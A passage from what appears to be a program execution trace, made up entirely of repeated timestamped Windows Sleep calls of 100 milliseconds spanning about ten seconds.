(dwMilliseconds=0x64) [0229.456] Sleep (dwMilliseconds=0x64) [0229.472] Sleep (dwMilliseconds=0x64) [0229.499] Sleep (dwMilliseconds=0x64) [0229.503] Sleep (dwMilliseconds=0x64) [0229.519] Sleep (dwMilliseconds=0x64) [0229.534] Sleep (dwMilliseconds=0x64) [0229.562] Sleep (dwMilliseconds=0x64) [0229.566] Sleep (dwMilliseconds=0x64) [0229.582] Sleep (dwMilliseconds=0x64) [0229.597] Sleep (dwMilliseconds=0x64) [0229.614] Sleep (dwMilliseconds=0x64) [0229.628] Sleep (dwMilliseconds=0x64) [0229.645] Sleep (dwMilliseconds=0x64) [0229.659] Sleep (dwMilliseconds=0x64) [0229.675] Sleep (dwMilliseconds=0x64) [0229.691] Sleep (dwMilliseconds=0x64) [0229.706] Sleep (dwMilliseconds=0x64) [0229.722] Sleep (dwMilliseconds=0x64) [0229.737] Sleep (dwMilliseconds=0x64) [0229.756] Sleep (dwMilliseconds=0x64) [0229.768] Sleep (dwMilliseconds=0x64) [0229.786] Sleep (dwMilliseconds=0x64) [0229.800] Sleep (dwMilliseconds=0x64) [0229.817] Sleep (dwMilliseconds=0x64) [0229.831] Sleep (dwMilliseconds=0x64) [0229.850] Sleep (dwMilliseconds=0x64) [0229.862] Sleep (dwMilliseconds=0x64) [0229.878] Sleep (dwMilliseconds=0x64) [0229.893] Sleep (dwMilliseconds=0x64) [0229.909] Sleep (dwMilliseconds=0x64) [0229.936] Sleep (dwMilliseconds=0x64) [0229.940] Sleep (dwMilliseconds=0x64) [0229.957] Sleep (dwMilliseconds=0x64) [0229.975] Sleep (dwMilliseconds=0x64) [0229.987] Sleep (dwMilliseconds=0x64) [0230.002] Sleep (dwMilliseconds=0x64) [0230.018] Sleep (dwMilliseconds=0x64) [0230.034] Sleep (dwMilliseconds=0x64) [0230.049] Sleep (dwMilliseconds=0x64) [0230.065] Sleep (dwMilliseconds=0x64) [0230.080] Sleep (dwMilliseconds=0x64) [0230.096] Sleep (dwMilliseconds=0x64) [0230.112] Sleep (dwMilliseconds=0x64) [0230.127] Sleep (dwMilliseconds=0x64) [0230.144] Sleep (dwMilliseconds=0x64) [0230.158] Sleep (dwMilliseconds=0x64) [0230.174] Sleep (dwMilliseconds=0x64) [0230.190] Sleep (dwMilliseconds=0x64) [0230.205] Sleep (dwMilliseconds=0x64) [0230.221] Sleep (dwMilliseconds=0x64) [0230.238] Sleep (dwMilliseconds=0x64) [0230.252] Sleep (dwMilliseconds=0x64) [0230.268] Sleep (dwMilliseconds=0x64) [0230.288] Sleep (dwMilliseconds=0x64) [0230.299] Sleep (dwMilliseconds=0x64) [0230.314] Sleep (dwMilliseconds=0x64) [0230.342] Sleep (dwMilliseconds=0x64) [0230.346] Sleep (dwMilliseconds=0x64) [0230.361] Sleep (dwMilliseconds=0x64) [0230.377] Sleep (dwMilliseconds=0x64) [0230.393] Sleep (dwMilliseconds=0x64) [0230.408] Sleep (dwMilliseconds=0x64) [0230.423] Sleep (dwMilliseconds=0x64) [0230.439] Sleep (dwMilliseconds=0x64) [0230.455] Sleep (dwMilliseconds=0x64) [0230.470] Sleep (dwMilliseconds=0x64) [0230.486] Sleep (dwMilliseconds=0x64) [0230.512] Sleep (dwMilliseconds=0x64) [0230.517] Sleep (dwMilliseconds=0x64) [0230.533] Sleep (dwMilliseconds=0x64) [0230.549] Sleep (dwMilliseconds=0x64) [0230.564] Sleep (dwMilliseconds=0x64) [0230.580] Sleep (dwMilliseconds=0x64) [0230.595] Sleep (dwMilliseconds=0x64) [0230.611] Sleep (dwMilliseconds=0x64) [0230.626] Sleep (dwMilliseconds=0x64) [0230.642] Sleep (dwMilliseconds=0x64) [0230.658] Sleep (dwMilliseconds=0x64) [0230.674] Sleep (dwMilliseconds=0x64) [0230.689] Sleep (dwMilliseconds=0x64) [0230.704] Sleep (dwMilliseconds=0x64) [0230.720] Sleep (dwMilliseconds=0x64) [0230.736] Sleep (dwMilliseconds=0x64) [0230.753] Sleep (dwMilliseconds=0x64) [0230.767] Sleep (dwMilliseconds=0x64) [0230.783] Sleep (dwMilliseconds=0x64) [0230.798] Sleep (dwMilliseconds=0x64) [0230.814] Sleep (dwMilliseconds=0x64) [0230.829] Sleep (dwMilliseconds=0x64) [0230.845] Sleep (dwMilliseconds=0x64) [0230.861] Sleep (dwMilliseconds=0x64) [0230.876] Sleep (dwMilliseconds=0x64) [0230.892] Sleep (dwMilliseconds=0x64) [0230.907] Sleep (dwMilliseconds=0x64) [0230.923] Sleep (dwMilliseconds=0x64) [0230.939] Sleep (dwMilliseconds=0x64) [0230.954] Sleep (dwMilliseconds=0x64) [0230.970] Sleep (dwMilliseconds=0x64) [0230.985] Sleep (dwMilliseconds=0x64) [0231.001] Sleep (dwMilliseconds=0x64) [0231.020] Sleep (dwMilliseconds=0x64) [0231.036] Sleep (dwMilliseconds=0x64) [0231.048] Sleep (dwMilliseconds=0x64) [0231.063] Sleep (dwMilliseconds=0x64) [0231.079] Sleep (dwMilliseconds=0x64) [0231.097] Sleep (dwMilliseconds=0x64) [0231.110] Sleep (dwMilliseconds=0x64) [0231.126] Sleep (dwMilliseconds=0x64) [0231.141] Sleep (dwMilliseconds=0x64) [0231.157] Sleep (dwMilliseconds=0x64) [0231.172] Sleep (dwMilliseconds=0x64) [0231.188] Sleep (dwMilliseconds=0x64) [0231.204] Sleep (dwMilliseconds=0x64) [0231.221] Sleep (dwMilliseconds=0x64) [0231.235] Sleep (dwMilliseconds=0x64) [0231.250] Sleep (dwMilliseconds=0x64) [0231.266] Sleep (dwMilliseconds=0x64) [0231.282] Sleep (dwMilliseconds=0x64) [0231.305] Sleep (dwMilliseconds=0x64) [0231.313] Sleep (dwMilliseconds=0x64) [0231.338] Sleep (dwMilliseconds=0x64) [0231.344] Sleep (dwMilliseconds=0x64) [0231.360] Sleep (dwMilliseconds=0x64) [0231.375] Sleep (dwMilliseconds=0x64) [0231.391] Sleep (dwMilliseconds=0x64) [0231.406] Sleep (dwMilliseconds=0x64) [0231.422] Sleep (dwMilliseconds=0x64) [0231.438] Sleep (dwMilliseconds=0x64) [0231.453] Sleep (dwMilliseconds=0x64) [0231.469] Sleep (dwMilliseconds=0x64) [0231.485] Sleep (dwMilliseconds=0x64) [0231.500] Sleep (dwMilliseconds=0x64) [0231.516] Sleep (dwMilliseconds=0x64) [0231.531] Sleep (dwMilliseconds=0x64) [0231.547] Sleep (dwMilliseconds=0x64) [0231.562] Sleep (dwMilliseconds=0x64) [0231.579] Sleep (dwMilliseconds=0x64) [0231.593] Sleep (dwMilliseconds=0x64) [0231.609] Sleep (dwMilliseconds=0x64) [0231.627] Sleep (dwMilliseconds=0x64) [0231.640] Sleep (dwMilliseconds=0x64) [0231.656] Sleep (dwMilliseconds=0x64) [0231.672] Sleep (dwMilliseconds=0x64) [0231.687] Sleep (dwMilliseconds=0x64) [0231.705] Sleep (dwMilliseconds=0x64) [0231.718] Sleep (dwMilliseconds=0x64) [0231.735] Sleep (dwMilliseconds=0x64) [0231.750] Sleep (dwMilliseconds=0x64) [0231.765] Sleep (dwMilliseconds=0x64) [0231.781] Sleep (dwMilliseconds=0x64) [0231.797] Sleep (dwMilliseconds=0x64) [0231.812] Sleep (dwMilliseconds=0x64) [0231.828] Sleep (dwMilliseconds=0x64) [0231.843] Sleep (dwMilliseconds=0x64) [0231.859] Sleep (dwMilliseconds=0x64) [0231.875] Sleep (dwMilliseconds=0x64) [0231.890] Sleep (dwMilliseconds=0x64) [0231.906] Sleep (dwMilliseconds=0x64) [0231.921] Sleep (dwMilliseconds=0x64) [0231.947] Sleep (dwMilliseconds=0x64) [0231.952] Sleep (dwMilliseconds=0x64) [0231.968] Sleep (dwMilliseconds=0x64) [0231.984] Sleep (dwMilliseconds=0x64) [0232.000] Sleep (dwMilliseconds=0x64) [0232.015] Sleep (dwMilliseconds=0x64) [0232.030] Sleep (dwMilliseconds=0x64) [0232.046] Sleep (dwMilliseconds=0x64) [0232.062] Sleep (dwMilliseconds=0x64) [0232.078] Sleep (dwMilliseconds=0x64) [0232.093] Sleep (dwMilliseconds=0x64) [0232.109] Sleep (dwMilliseconds=0x64) [0232.124] Sleep (dwMilliseconds=0x64) [0232.140] Sleep (dwMilliseconds=0x64) [0232.159] Sleep (dwMilliseconds=0x64) [0232.171] Sleep (dwMilliseconds=0x64) [0232.186] Sleep (dwMilliseconds=0x64) [0232.202] Sleep (dwMilliseconds=0x64) [0232.218] Sleep (dwMilliseconds=0x64) [0232.233] Sleep (dwMilliseconds=0x64) [0232.249] Sleep (dwMilliseconds=0x64) [0232.265] Sleep (dwMilliseconds=0x64) [0232.280] Sleep (dwMilliseconds=0x64) [0232.296] Sleep (dwMilliseconds=0x64) [0232.312] Sleep (dwMilliseconds=0x64) [0232.327] Sleep (dwMilliseconds=0x64) [0232.346] Sleep (dwMilliseconds=0x64) [0232.358] Sleep (dwMilliseconds=0x64) [0232.373] Sleep (dwMilliseconds=0x64) [0232.389] Sleep (dwMilliseconds=0x64) [0232.405] Sleep (dwMilliseconds=0x64) [0232.420] Sleep (dwMilliseconds=0x64) [0232.436] Sleep (dwMilliseconds=0x64) [0232.451] Sleep (dwMilliseconds=0x64) [0232.467] Sleep (dwMilliseconds=0x64) [0232.483] Sleep (dwMilliseconds=0x64) [0232.498] Sleep (dwMilliseconds=0x64) [0232.514] Sleep (dwMilliseconds=0x64) [0232.529] Sleep (dwMilliseconds=0x64) [0232.545] Sleep (dwMilliseconds=0x64) [0232.561] Sleep (dwMilliseconds=0x64) [0232.576] Sleep (dwMilliseconds=0x64) [0232.592] Sleep (dwMilliseconds=0x64) [0232.607] Sleep (dwMilliseconds=0x64) [0232.623] Sleep (dwMilliseconds=0x64) [0232.641] Sleep (dwMilliseconds=0x64) [0232.654] Sleep (dwMilliseconds=0x64) [0232.670] Sleep (dwMilliseconds=0x64) [0232.685] Sleep (dwMilliseconds=0x64) [0232.703] Sleep (dwMilliseconds=0x64) [0232.717] Sleep (dwMilliseconds=0x64) [0232.733] Sleep (dwMilliseconds=0x64) [0232.748] Sleep (dwMilliseconds=0x64) [0232.764] Sleep (dwMilliseconds=0x64) [0232.779] Sleep (dwMilliseconds=0x64) [0232.795] Sleep (dwMilliseconds=0x64) [0232.810] Sleep (dwMilliseconds=0x64) [0232.826] Sleep (dwMilliseconds=0x64) [0232.842] Sleep (dwMilliseconds=0x64) [0232.858] Sleep (dwMilliseconds=0x64) [0232.873] Sleep (dwMilliseconds=0x64) [0232.891] Sleep (dwMilliseconds=0x64) [0232.904] Sleep (dwMilliseconds=0x64) [0232.920] Sleep (dwMilliseconds=0x64) [0232.936] Sleep (dwMilliseconds=0x64) [0232.952] Sleep (dwMilliseconds=0x64) [0232.966] Sleep (dwMilliseconds=0x64) [0232.982] Sleep (dwMilliseconds=0x64) [0232.998] Sleep (dwMilliseconds=0x64) [0233.013] Sleep (dwMilliseconds=0x64) [0233.029] Sleep (dwMilliseconds=0x64) [0233.045] Sleep (dwMilliseconds=0x64) [0233.064] Sleep (dwMilliseconds=0x64) [0233.076] Sleep (dwMilliseconds=0x64) [0233.091] Sleep (dwMilliseconds=0x64) [0233.107] Sleep (dwMilliseconds=0x64) [0233.123] Sleep (dwMilliseconds=0x64) [0233.138] Sleep (dwMilliseconds=0x64) [0233.154] Sleep (dwMilliseconds=0x64) [0233.170] Sleep (dwMilliseconds=0x64) [0233.185] Sleep (dwMilliseconds=0x64) [0233.200] Sleep (dwMilliseconds=0x64) [0233.216] Sleep (dwMilliseconds=0x64) [0233.232] Sleep (dwMilliseconds=0x64) [0233.247] Sleep (dwMilliseconds=0x64) [0233.263] Sleep (dwMilliseconds=0x64) [0233.279] Sleep (dwMilliseconds=0x64) [0233.294] Sleep (dwMilliseconds=0x64) [0233.314] Sleep (dwMilliseconds=0x64) [0233.330] Sleep (dwMilliseconds=0x64) [0233.348] Sleep (dwMilliseconds=0x64) [0233.357] Sleep (dwMilliseconds=0x64) [0233.372] Sleep (dwMilliseconds=0x64) [0233.388] Sleep (dwMilliseconds=0x64) [0233.403] Sleep (dwMilliseconds=0x64) [0233.419] Sleep (dwMilliseconds=0x64) [0233.435] Sleep (dwMilliseconds=0x64) [0233.450] Sleep (dwMilliseconds=0x64) [0233.466] Sleep (dwMilliseconds=0x64) [0233.481] Sleep (dwMilliseconds=0x64) [0233.497] Sleep (dwMilliseconds=0x64) [0233.521] Sleep (dwMilliseconds=0x64) [0233.528] Sleep (dwMilliseconds=0x64) [0233.544] Sleep (dwMilliseconds=0x64) [0233.559] Sleep (dwMilliseconds=0x64) [0233.575] Sleep (dwMilliseconds=0x64) [0233.590] Sleep (dwMilliseconds=0x64) [0233.607] Sleep (dwMilliseconds=0x64) [0233.621] Sleep (dwMilliseconds=0x64) [0233.637] Sleep (dwMilliseconds=0x64) [0233.653] Sleep (dwMilliseconds=0x64) [0233.668] Sleep (dwMilliseconds=0x64) [0233.684] Sleep (dwMilliseconds=0x64) [0233.702] Sleep (dwMilliseconds=0x64) [0233.715] Sleep (dwMilliseconds=0x64) [0233.731] Sleep (dwMilliseconds=0x64) [0233.755] Sleep (dwMilliseconds=0x64) [0233.762] Sleep (dwMilliseconds=0x64) [0233.777] Sleep (dwMilliseconds=0x64) [0233.793] Sleep (dwMilliseconds=0x64) [0233.809] Sleep (dwMilliseconds=0x64) [0233.824] Sleep (dwMilliseconds=0x64) [0233.841] Sleep (dwMilliseconds=0x64) [0233.856] Sleep (dwMilliseconds=0x64) [0233.872] Sleep (dwMilliseconds=0x64) [0233.887] Sleep (dwMilliseconds=0x64) [0233.905] Sleep (dwMilliseconds=0x64) [0233.919] Sleep (dwMilliseconds=0x64) [0233.934] Sleep (dwMilliseconds=0x64) [0233.951] Sleep (dwMilliseconds=0x64) [0233.965] Sleep (dwMilliseconds=0x64) [0233.993] Sleep (dwMilliseconds=0x64) [0233.996] Sleep (dwMilliseconds=0x64) [0234.011] Sleep (dwMilliseconds=0x64) [0234.027] Sleep (dwMilliseconds=0x64) [0234.043] Sleep (dwMilliseconds=0x64) [0234.058] Sleep (dwMilliseconds=0x64) [0234.074] Sleep (dwMilliseconds=0x64) [0234.090] Sleep (dwMilliseconds=0x64) [0234.105] Sleep (dwMilliseconds=0x64) [0234.121] Sleep (dwMilliseconds=0x64) [0234.136] Sleep (dwMilliseconds=0x64) [0234.152] Sleep (dwMilliseconds=0x64) [0234.177] Sleep (dwMilliseconds=0x64) [0234.184] Sleep (dwMilliseconds=0x64) [0234.199] Sleep (dwMilliseconds=0x64) [0234.214] Sleep (dwMilliseconds=0x64) [0234.230] Sleep (dwMilliseconds=0x64) [0234.245] Sleep (dwMilliseconds=0x64) [0234.261] Sleep (dwMilliseconds=0x64) [0234.277] Sleep (dwMilliseconds=0x64) [0234.292] Sleep (dwMilliseconds=0x64) [0234.308] Sleep (dwMilliseconds=0x64) [0234.323] Sleep (dwMilliseconds=0x64) [0234.351] Sleep (dwMilliseconds=0x64) [0234.355] Sleep (dwMilliseconds=0x64) [0234.370] Sleep (dwMilliseconds=0x64) [0234.388] Sleep (dwMilliseconds=0x64) [0234.402] Sleep (dwMilliseconds=0x64) [0234.417] Sleep (dwMilliseconds=0x64) [0234.436] Sleep (dwMilliseconds=0x64) [0234.449] Sleep (dwMilliseconds=0x64) [0234.464] Sleep (dwMilliseconds=0x64) [0234.480] Sleep (dwMilliseconds=0x64) [0234.496] Sleep (dwMilliseconds=0x64) [0234.511] Sleep (dwMilliseconds=0x64) [0234.526] Sleep (dwMilliseconds=0x64) [0234.542] Sleep (dwMilliseconds=0x64) [0234.558] Sleep (dwMilliseconds=0x64) [0234.573] Sleep (dwMilliseconds=0x64) [0234.590] Sleep (dwMilliseconds=0x64) [0234.605] Sleep (dwMilliseconds=0x64) [0234.620] Sleep (dwMilliseconds=0x64) [0234.636] Sleep (dwMilliseconds=0x64) [0234.653] Sleep (dwMilliseconds=0x64) [0234.667] Sleep (dwMilliseconds=0x64) [0234.682] Sleep (dwMilliseconds=0x64) [0234.700] Sleep (dwMilliseconds=0x64) [0234.713] Sleep (dwMilliseconds=0x64) [0234.729] Sleep (dwMilliseconds=0x64) [0234.745] Sleep (dwMilliseconds=0x64) [0234.760] Sleep (dwMilliseconds=0x64) [0234.779] Sleep (dwMilliseconds=0x64) [0234.792] Sleep (dwMilliseconds=0x64) [0234.807] Sleep (dwMilliseconds=0x64) [0234.823] Sleep (dwMilliseconds=0x64) [0234.838] Sleep (dwMilliseconds=0x64) [0234.854] Sleep (dwMilliseconds=0x64) [0234.869] Sleep (dwMilliseconds=0x64) [0234.885] Sleep (dwMilliseconds=0x64) [0234.901] Sleep (dwMilliseconds=0x64) [0234.917] Sleep (dwMilliseconds=0x64) [0234.932] Sleep (dwMilliseconds=0x64) [0234.947] Sleep (dwMilliseconds=0x64) [0234.963] Sleep (dwMilliseconds=0x64) [0234.979] Sleep (dwMilliseconds=0x64) [0234.994] Sleep (dwMilliseconds=0x64) [0235.010] Sleep (dwMilliseconds=0x64) [0235.025] Sleep (dwMilliseconds=0x64) [0235.041] Sleep (dwMilliseconds=0x64) [0235.057] Sleep (dwMilliseconds=0x64) [0235.072] Sleep (dwMilliseconds=0x64) [0235.088] Sleep (dwMilliseconds=0x64) [0235.103] Sleep (dwMilliseconds=0x64) [0235.119] Sleep (dwMilliseconds=0x64) [0235.135] Sleep (dwMilliseconds=0x64) [0235.150] Sleep (dwMilliseconds=0x64) [0235.166] Sleep (dwMilliseconds=0x64) [0235.181] Sleep (dwMilliseconds=0x64) [0235.197] Sleep (dwMilliseconds=0x64) [0235.213] Sleep (dwMilliseconds=0x64) [0235.232] Sleep (dwMilliseconds=0x64) [0235.244] Sleep (dwMilliseconds=0x64) [0235.260] Sleep (dwMilliseconds=0x64) [0235.275] Sleep (dwMilliseconds=0x64) [0235.291] Sleep (dwMilliseconds=0x64) [0235.306] Sleep (dwMilliseconds=0x64) [0235.322] Sleep (dwMilliseconds=0x64) [0235.341] Sleep (dwMilliseconds=0x64) [0235.357] Sleep (dwMilliseconds=0x64) [0235.369] Sleep (dwMilliseconds=0x64) [0235.384] Sleep (dwMilliseconds=0x64) [0235.400] Sleep (dwMilliseconds=0x64) [0235.416] Sleep (dwMilliseconds=0x64) [0235.431] Sleep (dwMilliseconds=0x64) [0235.447] Sleep (dwMilliseconds=0x64) [0235.463] Sleep (dwMilliseconds=0x64) [0235.478] Sleep (dwMilliseconds=0x64) [0235.494] Sleep (dwMilliseconds=0x64) [0235.510] Sleep (dwMilliseconds=0x64) [0235.525] Sleep (dwMilliseconds=0x64) [0235.540] Sleep (dwMilliseconds=0x64) [0235.556] Sleep (dwMilliseconds=0x64) [0235.571] Sleep (dwMilliseconds=0x64) [0235.587] Sleep (dwMilliseconds=0x64) [0235.603] Sleep (dwMilliseconds=0x64) [0235.618] Sleep (dwMilliseconds=0x64) [0235.634] Sleep (dwMilliseconds=0x64) [0235.651] Sleep (dwMilliseconds=0x64) [0235.665] Sleep (dwMilliseconds=0x64) [0235.681] Sleep (dwMilliseconds=0x64) [0235.697] Sleep (dwMilliseconds=0x64) [0235.712] Sleep (dwMilliseconds=0x64) [0235.729] Sleep (dwMilliseconds=0x64) [0235.743] Sleep (dwMilliseconds=0x64) [0235.759] Sleep (dwMilliseconds=0x64) [0235.774] Sleep (dwMilliseconds=0x64) [0235.790] Sleep (dwMilliseconds=0x64) [0235.805] Sleep (dwMilliseconds=0x64) [0235.821] Sleep (dwMilliseconds=0x64) [0235.837] Sleep (dwMilliseconds=0x64) [0235.852] Sleep (dwMilliseconds=0x64) [0235.868] Sleep (dwMilliseconds=0x64) [0235.884] Sleep (dwMilliseconds=0x64) [0235.899] Sleep (dwMilliseconds=0x64) [0235.915] Sleep (dwMilliseconds=0x64) [0235.931] Sleep (dwMilliseconds=0x64) [0235.946] Sleep (dwMilliseconds=0x64) [0235.966] Sleep (dwMilliseconds=0x64) [0235.978] Sleep (dwMilliseconds=0x64) [0235.993] Sleep (dwMilliseconds=0x64) [0236.009] Sleep (dwMilliseconds=0x64) [0236.024] Sleep (dwMilliseconds=0x64) [0236.040] Sleep (dwMilliseconds=0x64) [0236.055] Sleep (dwMilliseconds=0x64) [0236.071] Sleep (dwMilliseconds=0x64) [0236.086] Sleep (dwMilliseconds=0x64) [0236.102] Sleep (dwMilliseconds=0x64) [0236.117] Sleep (dwMilliseconds=0x64) [0236.133] Sleep (dwMilliseconds=0x64) [0236.149] Sleep (dwMilliseconds=0x64) [0236.164] Sleep (dwMilliseconds=0x64) [0236.180] Sleep (dwMilliseconds=0x64) [0236.195] Sleep (dwMilliseconds=0x64) [0236.212] Sleep (dwMilliseconds=0x64) [0236.227] Sleep (dwMilliseconds=0x64) [0236.242] Sleep (dwMilliseconds=0x64) [0236.258] Sleep (dwMilliseconds=0x64) [0236.274] Sleep (dwMilliseconds=0x64) [0236.289] Sleep (dwMilliseconds=0x64) [0236.305] Sleep (dwMilliseconds=0x64) [0236.320] Sleep (dwMilliseconds=0x64) [0236.344] Sleep (dwMilliseconds=0x64) [0236.352] Sleep (dwMilliseconds=0x64) [0236.367] Sleep (dwMilliseconds=0x64) [0236.383] Sleep (dwMilliseconds=0x64) [0236.398] Sleep (dwMilliseconds=0x64) [0236.414] Sleep (dwMilliseconds=0x64) [0236.429] Sleep (dwMilliseconds=0x64) [0236.445] Sleep (dwMilliseconds=0x64) [0236.461] Sleep (dwMilliseconds=0x64) [0236.476] Sleep (dwMilliseconds=0x64) [0236.492] Sleep (dwMilliseconds=0x64) [0236.508] Sleep (dwMilliseconds=0x64) [0236.524] Sleep (dwMilliseconds=0x64) [0236.539] Sleep (dwMilliseconds=0x64) [0236.554] Sleep (dwMilliseconds=0x64) [0236.570] Sleep (dwMilliseconds=0x64) [0236.585] Sleep (dwMilliseconds=0x64) [0236.601] Sleep (dwMilliseconds=0x64) [0236.617] Sleep (dwMilliseconds=0x64) [0236.632] Sleep (dwMilliseconds=0x64) [0236.648] Sleep (dwMilliseconds=0x64) [0236.663] Sleep (dwMilliseconds=0x64) [0236.679] Sleep (dwMilliseconds=0x64) [0236.695] Sleep (dwMilliseconds=0x64) [0236.710] Sleep (dwMilliseconds=0x64) [0236.732] Sleep (dwMilliseconds=0x64) [0236.741] Sleep (dwMilliseconds=0x64) [0236.757] Sleep (dwMilliseconds=0x64) [0236.773] Sleep (dwMilliseconds=0x64) [0236.788] Sleep (dwMilliseconds=0x64) [0236.804] Sleep (dwMilliseconds=0x64) [0236.819] Sleep (dwMilliseconds=0x64) [0236.835] Sleep (dwMilliseconds=0x64) [0236.851] Sleep (dwMilliseconds=0x64) [0236.866] Sleep (dwMilliseconds=0x64) [0236.882] Sleep (dwMilliseconds=0x64) [0236.897] Sleep (dwMilliseconds=0x64) [0236.913] Sleep (dwMilliseconds=0x64) [0236.929] Sleep (dwMilliseconds=0x64) [0236.944] Sleep (dwMilliseconds=0x64) [0236.960] Sleep (dwMilliseconds=0x64) [0236.975] Sleep (dwMilliseconds=0x64) [0236.991] Sleep (dwMilliseconds=0x64) [0237.007] Sleep (dwMilliseconds=0x64) [0237.022] Sleep (dwMilliseconds=0x64) [0237.038] Sleep (dwMilliseconds=0x64) [0237.053] Sleep (dwMilliseconds=0x64) [0237.069] Sleep (dwMilliseconds=0x64) [0237.085] Sleep (dwMilliseconds=0x64) [0237.100] Sleep (dwMilliseconds=0x64) [0237.118] Sleep (dwMilliseconds=0x64) [0237.131] Sleep (dwMilliseconds=0x64) [0237.147] Sleep (dwMilliseconds=0x64) [0237.163] Sleep (dwMilliseconds=0x64) [0237.178] Sleep (dwMilliseconds=0x64) [0237.197] Sleep (dwMilliseconds=0x64) [0237.209] Sleep (dwMilliseconds=0x64) [0237.225] Sleep (dwMilliseconds=0x64) [0237.245] Sleep (dwMilliseconds=0x64) [0237.256] Sleep (dwMilliseconds=0x64) [0237.272] Sleep (dwMilliseconds=0x64) [0237.288] Sleep (dwMilliseconds=0x64) [0237.303] Sleep (dwMilliseconds=0x64) [0237.319] Sleep (dwMilliseconds=0x64) [0237.340] Sleep (dwMilliseconds=0x64) [0237.350] Sleep (dwMilliseconds=0x64) [0237.365] Sleep (dwMilliseconds=0x64) [0237.381] Sleep (dwMilliseconds=0x64) [0237.397] Sleep (dwMilliseconds=0x64) [0237.412] Sleep (dwMilliseconds=0x64) [0237.428] Sleep (dwMilliseconds=0x64) [0237.443] Sleep (dwMilliseconds=0x64) [0237.459] Sleep (dwMilliseconds=0x64) [0237.475] Sleep (dwMilliseconds=0x64) [0237.491] Sleep (dwMilliseconds=0x64) [0237.506] Sleep (dwMilliseconds=0x64) [0237.521] Sleep (dwMilliseconds=0x64) [0237.538] Sleep (dwMilliseconds=0x64) [0237.553] Sleep (dwMilliseconds=0x64) [0237.569] Sleep (dwMilliseconds=0x64) [0237.584] Sleep (dwMilliseconds=0x64) [0237.599] Sleep (dwMilliseconds=0x64) [0237.615] Sleep (dwMilliseconds=0x64) [0237.631] Sleep (dwMilliseconds=0x64) [0237.646] Sleep (dwMilliseconds=0x64) [0237.662] Sleep (dwMilliseconds=0x64) [0237.678] Sleep (dwMilliseconds=0x64) [0237.693] Sleep (dwMilliseconds=0x64) [0237.709] Sleep (dwMilliseconds=0x64) [0237.724] Sleep (dwMilliseconds=0x64) [0237.745] Sleep (dwMilliseconds=0x64) [0237.755] Sleep (dwMilliseconds=0x64) [0237.771] Sleep (dwMilliseconds=0x64) [0237.787] Sleep (dwMilliseconds=0x64) [0237.802] Sleep (dwMilliseconds=0x64) [0237.818] Sleep (dwMilliseconds=0x64) [0237.833] Sleep (dwMilliseconds=0x64) [0237.849] Sleep (dwMilliseconds=0x64) [0237.865] Sleep (dwMilliseconds=0x64) [0237.880] Sleep (dwMilliseconds=0x64) [0237.896] Sleep (dwMilliseconds=0x64) [0237.912] Sleep (dwMilliseconds=0x64) [0237.928] Sleep (dwMilliseconds=0x64) [0237.943] Sleep (dwMilliseconds=0x64) [0237.958] Sleep (dwMilliseconds=0x64) [0237.978] Sleep (dwMilliseconds=0x64) [0237.990] Sleep (dwMilliseconds=0x64) [0238.005] Sleep (dwMilliseconds=0x64) [0238.021] Sleep (dwMilliseconds=0x64) [0238.037] Sleep (dwMilliseconds=0x64) [0238.055] Sleep (dwMilliseconds=0x64) [0238.068] Sleep (dwMilliseconds=0x64) [0238.083] Sleep (dwMilliseconds=0x64) [0238.100] Sleep (dwMilliseconds=0x64) [0238.115] Sleep (dwMilliseconds=0x64) [0238.133] Sleep (dwMilliseconds=0x64) [0238.146] Sleep (dwMilliseconds=0x64) [0238.161] Sleep (dwMilliseconds=0x64) [0238.177] Sleep (dwMilliseconds=0x64) [0238.192] Sleep (dwMilliseconds=0x64) [0238.208] Sleep (dwMilliseconds=0x64) [0238.224] Sleep (dwMilliseconds=0x64) [0238.239] Sleep (dwMilliseconds=0x64) [0238.257] Sleep (dwMilliseconds=0x64) [0238.271] Sleep (dwMilliseconds=0x64) [0238.286] Sleep (dwMilliseconds=0x64) [0238.302] Sleep (dwMilliseconds=0x64) [0238.317] Sleep (dwMilliseconds=0x64) [0238.345] Sleep (dwMilliseconds=0x64) [0238.348] Sleep (dwMilliseconds=0x64) [0238.364] Sleep (dwMilliseconds=0x64) [0238.380] Sleep (dwMilliseconds=0x64) [0238.396] Sleep (dwMilliseconds=0x64) [0238.411] Sleep (dwMilliseconds=0x64) [0238.426] Sleep (dwMilliseconds=0x64) [0238.442] Sleep (dwMilliseconds=0x64) [0238.458] Sleep (dwMilliseconds=0x64) [0238.473] Sleep (dwMilliseconds=0x64) [0238.489] Sleep (dwMilliseconds=0x64) [0238.504] Sleep (dwMilliseconds=0x64) [0238.520] Sleep (dwMilliseconds=0x64) [0238.536] Sleep (dwMilliseconds=0x64) [0238.551] Sleep (dwMilliseconds=0x64) [0238.567] Sleep (dwMilliseconds=0x64) [0238.582] Sleep (dwMilliseconds=0x64) [0238.598] Sleep (dwMilliseconds=0x64) [0238.614] Sleep (dwMilliseconds=0x64) [0238.630] Sleep (dwMilliseconds=0x64) [0238.645] Sleep (dwMilliseconds=0x64) [0238.660] Sleep (dwMilliseconds=0x64) [0238.676] Sleep (dwMilliseconds=0x64) [0238.692] Sleep (dwMilliseconds=0x64) [0238.707] Sleep (dwMilliseconds=0x64) [0238.723] Sleep (dwMilliseconds=0x64) [0238.738] Sleep (dwMilliseconds=0x64) [0238.766] Sleep (dwMilliseconds=0x64) [0238.770] Sleep (dwMilliseconds=0x64) [0238.785] Sleep (dwMilliseconds=0x64) [0238.801] Sleep (dwMilliseconds=0x64) [0238.816] Sleep (dwMilliseconds=0x64) [0238.832] Sleep (dwMilliseconds=0x64) [0238.848] Sleep (dwMilliseconds=0x64) [0238.863] Sleep (dwMilliseconds=0x64) [0238.879] Sleep (dwMilliseconds=0x64) [0238.895] Sleep (dwMilliseconds=0x64) [0238.910] Sleep (dwMilliseconds=0x64) [0238.926] Sleep (dwMilliseconds=0x64) [0238.942] Sleep (dwMilliseconds=0x64) [0238.957] Sleep (dwMilliseconds=0x64) [0238.973] Sleep (dwMilliseconds=0x64) [0238.988] Sleep (dwMilliseconds=0x64) [0239.004] Sleep (dwMilliseconds=0x64) [0239.019] Sleep (dwMilliseconds=0x64) [0239.035] Sleep (dwMilliseconds=0x64) [0239.051] Sleep (dwMilliseconds=0x64) [0239.066] Sleep (dwMilliseconds=0x64) [0239.082] Sleep (dwMilliseconds=0x64) [0239.097] Sleep (dwMilliseconds=0x64) [0239.115] Sleep (dwMilliseconds=0x64) [0239.128] Sleep (dwMilliseconds=0x64) [0239.144] Sleep (dwMilliseconds=0x64) [0239.160] Sleep (dwMilliseconds=0x64) [0239.175] Sleep (dwMilliseconds=0x64) [0239.193] 